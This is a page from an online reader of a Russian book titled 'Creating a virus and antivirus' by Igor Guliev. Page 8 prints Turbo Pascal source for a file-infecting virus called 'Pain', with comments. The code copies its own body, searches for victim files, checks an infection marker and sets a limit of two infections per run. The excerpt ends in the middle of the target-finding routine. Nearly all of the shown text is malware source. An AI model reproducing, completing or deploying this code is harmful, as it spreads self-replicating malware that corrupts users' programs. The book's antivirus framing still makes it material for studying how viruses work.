Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 8

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

style="font-size:15px;">      {$D−}

      {$E+}

      {$F−}

      {$G−}

      {$I−}

      {$L−}

      {$N−}

      {$S−}

      {$V−}

      {$X+}

      {Используются модули Dos и System (модуль System автоматически

      подключается к каждой программе при компиляции)}

      Uses Dos;

      Const

      {Имя вируса}

      VirName=’Pain’;

      {Строка для проверки на повторное заражение.

      Она дописывается в заражаемый файл сразу после кода вируса}

      VirLabel: String[5]=’Pain!’;

      {Длина получаемого при компиляции EXE−файла}

      VirLen=4208;

      Author=’Dirty Nazi/SGWW.’;

      {Количество заражаемых за один сеанс работы файлов}

      InfCount=2;

      Var

      {Массив для определения наличия копии вируса в найденном файле}

      VirIdentifier: Array [1.5] of Char;

      {Файловая переменная для работы с файлами}

      VirBody: File;

      {Еще одна файловая переменная – хотя без нее можно было

      обойтись, так будет понятнее}

      Target: File;

      {Для имени найденного файла}

      TargetFile: PathStr;

      {Буфер для тела вируса}

      VirBuf : Array [1.VirLen] of Char;

      {Для даты/времени файла}

      Time : LongInt;

      {Счетчик количества инфицированных файлов}

      InfFiles : Byte;

      DirInfo : SearchRec;

      LabelBuf : Array [1.5] of Char;

      {Инициализация}

      procedure Init;

      begin

      LabelBuf[1]:=VirLabel[1];

      LabelBuf[2]:=VirLabel[2];

      LabelBuf[3]:=VirLabel[3];

      LabelBuf[4]:=VirLabel[4];

      LabelBuf[5]:=VirLabel[5];

      {Обнуляем счетчик количества инфицированных файлов}

      InfFiles:=0;

      {Связываем файловую переменную VirBody с именем программы,

      из которой стартовали}

      Assign(VirBody, ParamStr(0));

      {Открываем файл с recsize=1 байту}

      Reset(VirBody, 1);

      {Считываем из файла тело вируса в массив VirBuf}

      BlockRead(VirBody, VirBuf, VirLen);

      {Закрываем файл}

      Close(VirBody);

      end;

      {Поиск жертвы}

      procedure FindTarget;

      Var

      Sr: SearchRec;

      {Функция возвращает True, если найденная

      программа уже заражена, и False, если еще нет}

      function VirusPresent: Boolean;

      begin

      {Пока будем считать, что вируса нет}

      VirusPresent:=False;

      {Открываем найденный файл}

      Assign(Target, TargetFile);

      Reset(Target, 1);

      {Перемещаемся на длину тела вируса от начала файла}

      Seek(Target, VirLen);

      {Считываем 5 байт – если файл уже заражен,

      там находится метка вируса}

      BlockRead(Target, VirIdentifier, 5);

      If VirIdentifier=VirLabel Then

      {Если метка есть, значит есть и вирус}

      VirusPresent:=True;

      end;

Скачать книгу